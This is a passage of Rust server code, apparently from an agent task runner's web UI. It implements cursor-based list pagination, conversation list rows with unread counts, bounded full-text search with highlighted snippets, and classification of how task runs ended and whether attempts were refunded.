5383            open.len().saturating_add(STORE_PAGE_SIZE).min(ids.len())
5384        } else {
5385            STORE_PAGE_SIZE.min(ids.len())
5386        };
5387        let ids = Arc::new(ids);
5388        walks = ui
5389            .monitor
5390            .list_walks
5391            .lock()
5392            .unwrap_or_else(PoisonError::into_inner);
5393        walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5394        let mut token = crate::rng::entropy();
5395        while walks.iter().any(|walk| walk.token == token) {
5396            token = crate::rng::entropy();
5397        }
5398        // Four clients can enumerate both stores and overlap a refresh. Bound
5399        // retained membership snapshots; an evicted cursor explicitly retries.
5400        if walks.len() >= 16 {
5401            walks.remove(0);
5402        }
5403        walks.push(ListWalk {
5404            token,
5405            talks,
5406            opened: std::time::Instant::now(),
5407            ids: ids.clone(),
5408            initial_end,
5409        });
5410        (token, ids, 0, initial_end)
5411    };
5412    if offset > ids.len() {
5413        return Err(ApiError::bad_request("Invalid list cursor"));
5414    }
5415    let end = if offset == 0 {
5416        initial_end
5417    } else {
5418        offset.saturating_add(STORE_PAGE_SIZE).min(ids.len())
5419    };
5420    let next = (end < ids.len()).then(|| format!("{token}:{end}"));
5421    Ok((ids[offset..end].to_vec(), next))
5422}
5423
5424async fn queue_page(
5425    State(ui): State<Arc<Ui>>,
5426    Query(q): Query<PageQuery>,
5427) -> ApiResult<Json<StorePage<TaskView>>> {
5428    blocking(move || {
5429        let (ids, next) = page_ids(&ui, false, q)?;
5430        let tasks: Vec<_> = ids
5431            .into_iter()
5432            .filter_map(|id| ui.queue.get(&id).ok())
5433            .collect();
5434        let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
5435        let rows = tasks
5436            .into_iter()
5437            .map(|task| TaskView::with_inventory(task, &inv))
5438            .collect();
5439        Ok(Json(StorePage { rows, next }))
5440    })
5441    .await
5442}
5443
5444/// Fixed-size wire projection. Agent timestamps stay in the server index so
5445/// exact unread counts do not require sending an ever-growing turn list.
5446#[derive(Debug, Clone, Serialize)]
5447struct TalkListView {
5448    title: Option<talk::ChatTitle>,
5449    id: String,
5450    repo: PathBuf,
5451    agent: String,
5452    status: talk::TalkStatus,
5453    turns: Vec<TalkListTurn>,
5454    turn_count: usize,
5455    unread_count: usize,
5456    context: talk::ContextUsage,
5457    #[serde(skip)]
5458    agent_times: Vec<Timestamp>,
5459    thinking: bool,
5460    created_at: Timestamp,
5461    updated_at: Timestamp,
5462}
5463
5464#[derive(Debug, Clone, Serialize)]
5465struct TalkListTurn {
5466    who: talk::Who,
5467    at: Timestamp,
5468    body: String,
5469}
5470
5471fn talk_rows(ui: &Ui, ids: Vec<String>, headers: &header::HeaderMap) -> Vec<TalkListView> {
5472    let reads: HashMap<String, Timestamp> = headers
5473        .get("x-talk-reads")
5474        .and_then(|v| v.to_str().ok())
5475        .and_then(|v| serde_json::from_str(v).ok())
5476        .unwrap_or_default();
5477    let mut index = ui
5478        .monitor
5479        .talk_index
5480        .lock()
5481        .unwrap_or_else(PoisonError::into_inner);
5482    // Bound memory independently of the number of conversations ever opened.
5483    if index.len() > 1000 {
5484        let keep: HashSet<&str> = ids.iter().map(String::as_str).collect();
5485        index.retain(|id, (_, row)| keep.contains(id.as_str()) || row.status.open());
5486        if index.len() > 1000 {
5487            index.retain(|id, _| keep.contains(id.as_str()));
5488        }
5489    }
5490    ids.into_iter()
5491        .filter_map(|id| {
5492            let identity = file_identity(&ui.talks.path_of(&id)).ok()?;
5493            if index.get(&id).is_none_or(|(old, _)| *old != identity) {
5494                let talk = ui.talks.get(&id).ok()?;
5495                #[cfg(test)]
5496                ui.monitor
5497                    .talk_parses
5498                    .fetch_add(1, std::sync::atomic::Ordering::Relaxed);
5499                let first = talk.turns.iter().position(|t| t.who == talk::Who::Operator);
5500                let last = talk.turns.len().checked_sub(1);
5501                let turns = talk
5502                    .turns
5503                    .iter()
5504                    .enumerate()
5505                    .filter(|(i, _)| Some(*i) == first || Some(*i) == last)
5506                    .map(|(_, t)| TalkListTurn {
5507                        who: t.who,
5508                        at: t.at,
5509                        body: t
5510                            .body
5511                            .lines()
5512                            .next()
5513                            .unwrap_or_default()
5514                            .chars()
5515                            .take(240)
5516                            .collect(),
5517                    })
5518                    .collect();
5519                let row = TalkListView {
5520                    title: talk.title.clone(),
5521                    agent_times: talk
5522                        .turns
5523                        .iter()
5524                        .filter(|t| t.who == talk::Who::Agent)
5525                        .map(|t| t.at)
5526                        .collect(),
5527                    turn_count: talk.turns.len(),
5528                    unread_count: 0,
5529                    context: talk::context_usage(&talk, None),
5530                    turns,
5531                    thinking: false,
5532                    id: talk.id,
5533                    repo: talk.repo,
5534                    agent: talk.agent,
5535                    status: talk.status,
5536                    created_at: talk.created_at,
5537                    updated_at: talk.updated_at,
5538                };
5539                index.insert(id.clone(), (identity, row));
5540            }
5541            let row = &index.get(&id)?.1;
5542            let mut row = TalkListView {
5543                title: row.title.clone(),
5544                unread_count: row
5545                    .agent_times
5546                    .iter()
5547                    .filter(|at| reads.get(&id).is_none_or(|read| *at > read))
5548                    .count(),
5549                agent_times: Vec::new(),
5550                id: row.id.clone(),
5551                repo: row.repo.clone(),
5552                agent: row.agent.clone(),
5553                status: row.status,
5554                context: row.context.clone(),
5555                turns: row.turns.clone(),
5556                turn_count: row.turn_count,
5557                thinking: false,
5558                created_at: row.created_at,
5559                updated_at: row.updated_at,
5560            };
5561            row.thinking = ui.is_thinking(&id);
5562            Some(row)
5563        })
5564        .collect()
5565}
5566
5567async fn talks_page(
5568    State(ui): State<Arc<Ui>>,
5569    Query(q): Query<PageQuery>,
5570    headers: header::HeaderMap,
5571) -> ApiResult<Json<StorePage<TalkListView>>> {
5572    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
5573        let (ids, next) = page_ids(&ui, true, q)?;
5574        Ok(Json(StorePage {
5575            rows: talk_rows(&ui, ids, &headers),
5576            next,
5577        }))
5578    })
5579    .await
5580}
5581
5582async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
5583    blocking(move || {
5584        let tasks = ui.indexed_tasks()?;
5585        Ok(Json(TaskCountsView::from(
5586            crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
5587        )))
5588    })
5589    .await
5590}
5591
5592/// Most hits one search returns. The rest are counted in `total`.
5593const SEARCH_MAX_HITS: usize = 100;
5594/// Longest query, in characters, and most terms it is split into.
5595const SEARCH_MAX_QUERY: usize = 200;
5596const SEARCH_MAX_TERMS: usize = 8;
5597/// Characters of context kept before the first hit, and after it.
5598const SNIPPET_BEFORE: usize = 50;
5599const SNIPPET_AFTER: usize = 110;
5600
5601/// `?scope=runs|tasks&q=...`
5602#[derive(Debug, Deserialize)]
5603struct SearchQuery {
5604    #[serde(default)]
5605    scope: String,
5606    #[serde(default)]
5607    q: String,
5608}
5609
5610/// One piece of a snippet. `hit` pieces are what matched; the client renders
5611/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
5612#[derive(Debug, Serialize, PartialEq, Eq)]
5613struct SnippetPart {
5614    text: String,
5615    hit: bool,
5616}
5617
5618#[derive(Debug, Serialize)]
5619struct SearchHit {
5620    id: String,
5621    /// The name of the field the snippet was cut from.
5622    field: String,
5623    snippet: Vec<SnippetPart>,
5624    /// The run's list row, so the page can apply its state / section / repo
5625    /// filters to a hit outside the loaded window. Absent for tasks and for a
5626    /// run record the list view cannot read.
5627    #[serde(skip_serializing_if = "Option::is_none")]
5628    run: Option<RunSummary>,
5629}
5630
5631#[derive(Debug, Serialize)]
5632struct SearchView {
5633    scope: String,
5634    q: String,
5635    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
5636    hits: Vec<SearchHit>,
5637    /// Every match, hits beyond the cap included.
5638    total: usize,
5639    truncated: bool,
5640    /// Runs whose `run.json` could not be parsed at all. They were not
5641    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
5642    unreadable: usize,
5643}
5644
5645/// The text leaves of a JSON document, with the name of the field each sits
5646/// under. Keys and numbers are skipped: they are structure, not prose.
5647fn text_leaves<'a>(
5648    value: &'a serde_json::Value,
5649    field: &'a str,
5650    out: &mut Vec<(&'a str, &'a str)>,
5651) {
5652    match value {
5653        serde_json::Value::String(s) => out.push((field, s)),
5654        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5655        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5656        _ => {}
5657    }
5658}
5659
5660/// Lower-case one character without changing how many there are, so indices
5661/// in the lowered text are indices in the original.
5662fn fold_char(c: char) -> char {
5663    c.to_lowercase().next().unwrap_or(c)
5664}
5665
5666/// Split a query into its lower-cased terms.
5667fn search_terms(q: &str) -> Vec<String> {
5668    let mut terms: Vec<String> = Vec::new();
5669    for t in q.split_whitespace() {
5670        let t = t.to_lowercase();
5671        if !terms.contains(&t) {
5672            terms.push(t);
5673        }
5674    }
5675    terms
5676}
5677
5678/// Match `terms` (all of them, anywhere in the document) against the leaves
5679/// and cut a snippet around the first hit. `None` when a term is missing.
5680fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
5681    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
5682    let mut first: Option<usize> = None;
5683    for term in terms {
5684        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5685        first = Some(first.map_or(at, |f| f.min(at)));
5686    }
5687    // The leaf holding the earliest hit of any term is where the snippet is cut.
5688    let (field, text) = leaves[first?];
5689    Some(SearchHit {
5690        id: String::new(),
5691        field: field.to_owned(),
5692        snippet: snippet_of(text, terms),
5693        run: None,
5694    })
5695}
5696
5697/// A window of `text` around the first occurrence of any term, whitespace
5698/// collapsed, with every term occurrence inside the window marked.
5699fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5700    let chars: Vec<char> = text.chars().collect();
5701    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5702    let needles: Vec<Vec<char>> = terms
5703        .iter()
5704        .map(|t| t.chars().map(fold_char).collect())
5705        .collect();
5706    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5707        let mut best: Option<(usize, usize)> = None;
5708        for n in needles.iter().filter(|n| !n.is_empty()) {
5709            // `to` bounds where a match may start; it may run past `to` (the
5710            // caller clips what it shows). A term longer than the field cannot
5711            // occur in it (it may live in another leaf of the document).
5712            if n.len() > chars.len() || to == 0 {
5713                continue;
5714            }
5715            let last = (to - 1).min(chars.len() - n.len());
5716            if from > last {
5717                continue;
5718            }
5719            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5720                && best.is_none_or(|(b, _)| i < b)
5721            {
5722                best = Some((i, i + n.len()));
5723            }
5724        }
5725        best
5726    };
5727    let Some((start, _)) = find(0, chars.len()) else {
5728        // Matched only through a case mapping that changes length: show the head.
5729        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5730        return vec![SnippetPart {
5731            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5732            hit: false,
5733        }];
5734    };
5735    let lo = start.saturating_sub(SNIPPET_BEFORE);
5736    let hi = (start + SNIPPET_AFTER).min(chars.len());
5737    let mut parts: Vec<SnippetPart> = Vec::new();
5738    let mut push = |s: &[char], hit: bool| {
5739        if s.is_empty() {
5740            return;
5741        }
5742        let text: String = s.iter().collect();
5743        match parts.last_mut() {
5744            Some(p) if p.hit == hit => p.text.push_str(&text),
5745            _ => parts.push(SnippetPart { text, hit }),
5746        }
5747    };
5748    if lo > 0 {
5749        push(&['\u{2026}'], false);
5750    }
5751    let mut at = lo;
5752    while at < hi {
5753        match find(at, hi) {
5754            Some((s, e)) => {
5755                push(&chars[at..s], false);
5756                // A match running past the window is shown up to its edge.
5757                let shown = e.min(hi);
5758                push(&chars[s..shown], true);
5759                at = shown;
5760            }
5761            None => {
5762                push(&chars[at..hi], false);
5763                at = hi;
5764            }
5765        }
5766    }
5767    if hi < chars.len() {
5768        push(&['\u{2026}'], false);
5769    }
5770    // Collapse whitespace (newlines in an instruction) without disturbing the
5771    // hit boundaries.
5772    let mut prev_space = false;
5773    for p in &mut parts {
5774        let mut out = String::with_capacity(p.text.len());
5775        for c in p.text.chars() {
5776            if c.is_whitespace() {
5777                if !prev_space {
5778                    out.push(' ');
5779                }
5780                prev_space = true;
5781            } else {
5782                out.push(c);
5783                prev_space = false;
5784            }
5785        }
5786        p.text = out;
5787    }
5788    parts.retain(|p| !p.text.is_empty());
5789    parts
5790}
5791
5792/// The search over `docs` (id, document), newest first, capped.
5793fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5794where
5795    I: IntoIterator<Item = (String, serde_json::Value)>,
5796{
5797    for (id, doc) in docs {
5798        let mut leaves = Vec::new();
5799        // The id is text an operator types too, and it is a map key on disk,
5800        // not a leaf.
5801        leaves.push(("id", id.as_str()));
5802        text_leaves(&doc, "", &mut leaves);
5803        if let Some(mut hit) = search_document(terms, &leaves) {
5804            view.total += 1;
5805            if view.hits.len() < SEARCH_MAX_HITS {
5806                hit.id = id;
5807                view.hits.push(hit);
5808            }
5809        }
5810    }
5811    view.truncated = view.total > view.hits.len();
5812}
5813
5814/// What a conversation is searched by: its list title and each turn's text,
5815/// under `operator` / `agent` so the snippet says who spoke. Nothing else
5816/// (session ids, repo paths, usage, drafts) is part of the document.
5817///
5818/// Saved titles take precedence; otherwise mirror the opener fallback in `app.js`.
5819fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5820    let opener = talk
5821        .title
5822        .as_ref()
5823        .filter(|t| !t.text.is_empty())
5824        .map(|t| t.text.as_str())
5825        .or_else(|| {
5826            talk.turns
5827                .iter()
5828                .find(|t| t.who == talk::Who::Operator)
5829                .map(|t| t.body.as_str())
5830        })
5831        .and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
5832        .unwrap_or("");
5833    let title: String = if opener.chars().count() > 96 {
5834        opener.chars().take(95).chain(['\u{2026}']).collect()
5835    } else {
5836        opener.to_owned()
5837    };
5838    let turns: Vec<serde_json::Value> = talk
5839        .turns
5840        .iter()
5841        .map(|t| {
5842            let who = match t.who {
5843                crate::talk::Who::Operator => "operator",
5844                crate::talk::Who::Agent => "agent",
5845            };
5846            serde_json::json!({ who: t.body })
5847        })
5848        .collect();
5849    serde_json::json!({ "title": title, "turns": turns })
5850}
5851
5852/// Read-only full-text search over every run's `run.json`, every task or every
5853/// conversation (title and transcript).
5854///
5855/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
5856/// record from an older schema still searches; only a file that is not JSON
5857/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
5858async fn search_get(
5859    State(ui): State<Arc<Ui>>,
5860    Query(q): Query<SearchQuery>,
5861) -> ApiResult<Json<SearchView>> {
5862    let query = q.q.trim().to_owned();
5863    if query.is_empty() {
5864        return Err(ApiError::bad_request("q must not be empty"));
5865    }
5866    if query.chars().count() > SEARCH_MAX_QUERY {
5867        return Err(ApiError::bad_request(format!(
5868            "q is longer than {SEARCH_MAX_QUERY} characters"
5869        )));
5870    }
5871    let terms = search_terms(&query);
5872    if terms.len() > SEARCH_MAX_TERMS {
5873        return Err(ApiError::bad_request(format!(
5874            "q has more than {SEARCH_MAX_TERMS} terms"
5875        )));
5876    }
5877    let scope = q.scope;
5878    if scope != "runs" && scope != "tasks" && scope != "chats" {
5879        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5880    }
5881    blocking(move || {
5882        let mut view = SearchView {
5883            scope: scope.clone(),
5884            q: query,
5885            hits: Vec::new(),
5886            total: 0,
5887            truncated: false,
5888            unreadable: 0,
5889        };
5890        if scope == "runs" {
5891            let mut unreadable = 0;
5892            // One run.json is read, matched and dropped at a time; nothing
5893            // holds the whole history. The scan runs to the end even past the
5894            // hit cap so `total` and `unreadable` stay exact.
5895            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5896                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5897                match body.and_then(|b| serde_json::from_str(&b).ok()) {
5898                    Some(v) => Some((id, v)),
5899                    None => {
5900                        unreadable += 1;
5901                        None
5902                    }
5903                }
5904            });
5905            search_docs(&terms, docs, &mut view);
5906            view.unreadable = unreadable;
5907            // Only the capped hits get a row: the filters need a run's state,
5908            // and reading every match would be the whole history again.
5909            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
5910            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5911            for hit in &mut view.hits {
5912                if let Ok(state) = read_run(&ui.runs, &hit.id) {
5913                    hit.run = summarize(
5914                        [state],
5915                        &open_runs,
5916                        &claimed,
5917                        &superseded,
5918                        |p| probe.borrow_mut().status(p),
5919                        |p| probe.borrow_mut().started_at(p),
5920                    )
5921                    .pop();
5922                }
5923            }
5924        } else if scope == "chats" {
5925            let (talks, unreadable) = ui.talks.list_counting_unreadable();
5926            view.unreadable = unreadable;
5927            search_docs(
5928                &terms,
5929                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
5930                &mut view,
5931            );
5932        } else {
5933            let docs = ui.queue.list().into_iter().filter_map(|t| {
5934                let mut v = serde_json::to_value(&t).ok()?;
5935                // `source` serialises as a tagged object; the label is what
5936                // the operator reads ("human", "chat@a1b2").
5937                if let Some(o) = v.as_object_mut() {
5938                    o.insert("filed_by".to_owned(), t.source.label().into());
5939                }
5940                Some((t.id, v))
5941            });
5942            search_docs(&terms, docs, &mut view);
5943        }
5944        Ok(Json(view))
5945    })
5946    .await
5947}
5948
5949/// One attempt in a task's history, as the task page lists it.
5950#[derive(Debug, Serialize)]
5951struct TaskRunView {
5952    activity: Option<String>,
5953    /// 1-based position in [`Task::runs`].
5954    n: usize,
5955    id: String,
5956    short: String,
5957    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
5958    kind: &'static str,
5959    /// The run's own status string; `None` when its record cannot be read.
5960    status: Option<&'static str>,
5961    /// Whether this build could read the run's record. Counted, never hidden.
5962    readable: bool,
5963    /// A verdict from a collapsed panel is provisional, never a decision.
5964    provisional: bool,
5965    /// What kind of attempt this was, in one line.
5966    description: String,
5967    /// How it ended and why the task moved on (or what it is doing now).
5968    outcome: String,
5969    created_at: Option<Timestamp>,
5970    pr: Option<String>,
5971    /// Why this pass ended, classified once; the flowchart is built from it.
5972    exit: RunExit,
5973    /// What the pass did to the task's attempt budget.
5974    attempt: AttemptCost,
5975    /// Edge wording for leaving this entry; names the recorded cause when
5976    /// there is one.
5977    exit_label: String,
5978    /// The position of a later entry for the same run: this entry is an
5979    /// earlier pass of it.
5980    later_pass: Option<usize>,
5981    /// Which pass over the run this entry is (1-based) and how many entries
5982    /// the task lists for the run. Counted from the list, so known even for
5983    /// a legacy record.
5984    pass_n: usize,
5985    passes_of_run: usize,
5986    /// What the run recorded about this pass; `None` for a record from before
5987    /// passes were kept, whose cause stays unknown.
5988    pass: Option<PassView>,
5989    /// The branch a review-only run reopened.
5990    branch: Option<String>,
5991    /// The badge word when it differs from `status` (`stale` / `superseded`);
5992    /// filled by the task route, which can see liveness and later attempts.
5993    badge: Option<String>,
5994}
5995
5996/// One recorded pass over a run, for the wire.
5997#[derive(Debug, Clone, PartialEq, Serialize)]
5998struct PassView {
5999    index: usize,
6000    resumed: bool,
6001    started_at: Timestamp,
6002    ended_at: Option<Timestamp>,
6003    /// `open`, `parked` or `unrecorded`.
6004    end: &'static str,
6005    cause: Option<crate::run::ParkCause>,
6006    /// One line: why it stopped, or that nobody recorded why.
6007    label: String,
6008    /// What the task recorded for this pass; `None` when it was not settled
6009    /// (or settled by a build that kept no record).
6010    cost: Option<crate::queue::PassCost>,
6011}
6012
6013impl PassView {
6014    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
6015        use crate::run::PassEnd;
6016        let (end, cause, label) = match &p.end {
6017            None => ("open", None, "still open".to_owned()),
6018            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
6019            Some(PassEnd::Unrecorded) => (
6020                "unrecorded",
6021                None,
6022                "stopped without recording why (a crash, a kill or a restart; not known)"
6023                    .to_owned(),
6024            ),
6025        };
6026        Self {
6027            index: p.index,
6028            resumed: p.resumed,
6029            started_at: p.started_at,
6030            ended_at: p.ended_at,
6031            end,
6032            cause,
6033            label,
6034            cost: settled.map(|t| t.cost),
6035        }
6036    }
6037}
6038
6039/// How one pass over a run ended, as far as the task's life is concerned.
6040#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6041#[serde(rename_all = "snake_case")]
6042enum RunExit {
6043    Unreadable,
6044    /// An earlier pass of a run id that appears again: it stopped short.
6045    Interrupted,
6046    Parked,
6047    MachineBlocked,
6048    QuotaStall,
6049    /// Stalled on a resumed pass with quota losses on record: they may be
6050    /// left over from an earlier pass, so whether this one was refunded is
6051    /// not knowable.
6052    ResumedQuotaStall,
6053    Merged,
6054    Ready,
6055    Superseded,
6056    /// The change was already on the base under other commits: the task
6057    /// finished without this run landing anything.
6058    AlreadyInBase,
6059    /// Stalled without a rate limit to blame: no verdict, attempt spent.
6060    Stalled,
6061    /// Blocked / no-op with a pull request left open: held for a person.
6062    HeldWithPr,
6063    NoopHeld,
6064    /// Blocked or failed: the attempt is spent and the task retries or holds.
6065    Spent,
6066    InProgress,
6067}
6068
6069#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6070#[serde(rename_all = "snake_case")]
6071enum AttemptCost {
6072    Spent,
6073    Refunded,
6074    None,
6075    /// Cannot be told from the records that remain.
6076    Unknown,
6077}
6078
6079impl RunExit {
6080    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
6081        let Some(s) = s else {
6082            return Self::Unreadable;
6083        };
6084        let status = s.status;
6085        if resumed_later {
6086            Self::Interrupted
6087        } else if s.parked {
6088            Self::Parked
6089        } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6090            Self::MachineBlocked
6091        } else if !status.done() {
6092            Self::InProgress
6093        } else if matches!(status, RunStatus::Merged) {
6094            Self::Merged
6095        } else if matches!(status, RunStatus::Ready) {
6096            Self::Ready
6097        } else if matches!(status, RunStatus::Superseded) {
6098            Self::Superseded
6099        } else if matches!(status, RunStatus::AlreadyInBase) {
6100            Self::AlreadyInBase
6101        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6102            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6103        {
6104            if resumed {
6105                Self::ResumedQuotaStall
6106            } else {
6107                Self::QuotaStall
6108            }
6109        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6110            Self::HeldWithPr
6111        } else if matches!(status, RunStatus::VerifiedNoop) {
6112            Self::NoopHeld
6113        } else if matches!(status, RunStatus::Stalled) {
6114            Self::Stalled
6115        } else {
6116            Self::Spent
6117        }
6118    }
6119
6120    fn cost(self) -> AttemptCost {
6121        match self {
6122            Self::Parked | Self::QuotaStall | Self::MachineBlocked => AttemptCost::Refunded,
6123            Self::Merged
6124            | Self::Ready
6125            | Self::Stalled
6126            | Self::HeldWithPr
6127            | Self::NoopHeld
6128            | Self::Spent => AttemptCost::Spent,
6129            Self::InProgress => AttemptCost::None,
6130            Self::AlreadyInBase => AttemptCost::Refunded,
6131            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
6132                AttemptCost::Unknown
6133            }
6134        }
6135    }
6136
6137    /// Short edge wording for leaving a run this way.
6138    fn edge_label(self, status: Option<&str>) -> String {
6139        match self {
6140            Self::Unreadable => "record unreadable".to_owned(),
6141            Self::Interrupted => "interrupted before the run finished".to_owned(),
6142            Self::Parked => "parked, attempt refunded".to_owned(),
6143            Self::MachineBlocked => "machine unavailable, attempt refunded".to_owned(),
6144            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
6145            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
6146            Self::Merged => "merged".to_owned(),
6147            Self::Ready => "ready, not merged".to_owned(),
6148            Self::Superseded => "superseded by a later attempt".to_owned(),
6149            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
6150            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
6151            Self::HeldWithPr => "blocked, PR left open".to_owned(),
6152            Self::NoopHeld => "verified no-op".to_owned(),
6153            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
6154            Self::InProgress => "in progress".to_owned(),
6155        }
6156    }
6157
6158    /// Does a task in `end` follow from a run that ended this way? When not,
6159    /// somebody closed or held the task by hand.
6160    fn explains(self, end: TaskStatus) -> bool {
6161        match self {
6162            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
6163            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
6164            Self::Unreadable | Self::Superseded | Self::Ready => true,
6165            _ => end != TaskStatus::Done,
6166        }
6167    }
6168}
6169
6170/// `GET /api/queue/{id}` - one task with every attempt it went through.
6171#[derive(Debug, Serialize)]
6172struct TaskDetailView {
6173    #[serde(flatten)]
6174    task: TaskView,
6175    /// Task override, or the default daemon budget when inherited.
6176    /// A separate loop's command-line limit is not visible from here.
6177    max_attempts: usize,
6178    history: Vec<TaskRunView>,
6179    /// Entries in `history`: passes over runs, not distinct runs and not
6180    /// attempts consumed (`task.attempts`).
6181    passes_total: usize,
6182    /// Distinct runs those passes belong to.
6183    runs_distinct: usize,
6184    flow: FlowView,
6185    /// Set for a follow-up task; see [`followup_origin`].
6186    followup_origin: Option<FollowUpOrigin>,
6187    /// How many entries of `history` could not be read.
6188    runs_unreadable: usize,
6189    /// Why the attempt count can be lower than the number of runs.
6190    attempts_note: &'static str,
6191}
6192
6193const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
6194and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
6195on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
6196the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
6197
6198/// The branch a review-only run reopened, read off the instruction
6199/// `Runner::open_review` writes.
6200fn review_branch_of(instruction: &str) -> Option<&str> {
6201    let rest = instruction.strip_prefix("Review the work already on branch `")?;
6202    rest.split('`').next().filter(|b| !b.is_empty())
6203}
6204
6205/// Where an entry sits in a task's run list.
6206#[derive(Default)]
6207struct RunSlot<'a> {
6208    /// 1-based position.
6209    n: usize,
6210    /// The same run id appeared earlier: this pass resumed it.
6211    resumed: bool,
6212    /// Position of a later pass over the same run id, if any.
6213    resumed_later: Option<usize>,
6214    /// The previous distinct run and how it ended, for the retry note.
6215    prior: Option<(&'a str, RunStatus)>,
6216    last: bool,
6217    /// This pass as the run recorded it, when it did.
6218    pass: Option<&'a crate::run::RunPass>,
6219    /// What the task recorded when it settled this pass.
6220    settled: Option<&'a crate::queue::TaskPass>,
6221    /// 1-based position among the task's entries for this run, and their count.
6222    pass_n: usize,
6223    passes_of_run: usize,
6224}
6225
6226/// Describe one entry of a task's run list. Pure: everything it needs is on
6227/// the run and the task, so it is asserted without a server.
6228fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
6229    let RunSlot {
6230        n,
6231        resumed,
6232        resumed_later,
6233        prior,
6234        last,
6235        pass,
6236        settled,
6237        pass_n,
6238        passes_of_run,
6239    } = at;
6240    let short = run::short_of(id).to_owned();
6241    let Some(s) = state else {
6242        return TaskRunView {
6243            activity: None,
6244            n,
6245            id: id.to_owned(),
6246            short,
6247            kind: "unknown",
6248            status: None,
6249            readable: false,
6250            provisional: false,
6251            description:
6252                "This run's record could not be read by this build (written by a different \
6253                          magi, or removed), so what kind of attempt it was is unknown."
6254                    .to_owned(),
6255            outcome: String::new(),
6256            created_at: None,
6257            pr: None,
6258            exit: RunExit::Unreadable,
6259            attempt: AttemptCost::Unknown,
6260            exit_label: RunExit::Unreadable.edge_label(None),
6261            later_pass: resumed_later,
6262            pass_n,
6263            passes_of_run,
6264            pass: None,
6265            branch: None,
6266            badge: None,
6267        };
6268    };
6269    let branch = review_branch_of(&s.instruction);
6270    let kind = if resumed {
6271        "resume"
6272    } else if branch.is_some() {
6273        "review"
6274    } else if task.solo || s.candidates.len() == 1 {
6275        "solo"
6276    } else {
6277        "competition"
6278    };
6279    let mut description = match kind {
6280        "resume" => {
6281            format!("Resumed run {short}: the same run carried on instead of competing again.")
6282        }
6283        "review" => format!(
6284            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
6285            branch.unwrap_or_default()
6286        ),
6287        "solo" => "Solo run: one implementer straight into review.".to_owned(),
6288        _ => format!(
6289            "Competition: {} candidates judged blind.",
6290            s.candidates.len().max(1)
6291        ),
6292    };
6293    if !resumed && let Some((p, st)) = prior {
6294        description.push_str(&format!(
6295            " A retry: run {p} before it ended {}.",
6296            st.display_label()
6297        ));
6298    }
6299
6300    let status = s.status;
6301    let provisional = matches!(status, RunStatus::Stalled)
6302        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
6303    let head = if resumed_later.is_some() {
6304        String::new()
6305    } else {
6306        match status {
6307            RunStatus::Merged => "Merged.".to_owned(),
6308            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
6309            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
6310            RunStatus::AlreadyInBase => {
6311                "Already in the base: this change landed under other commits, nothing was left to land."
6312                    .to_owned()
6313            }
6314            RunStatus::Stalled => {
6315                "Stalled: the judging panel never reached a quorum, so there is no verdict."
6316                    .to_owned()
6317            }
6318            RunStatus::Blocked if s.resource_block.is_some() => format!("Blocked: {}.", s.resource_block.as_ref().unwrap().description()),
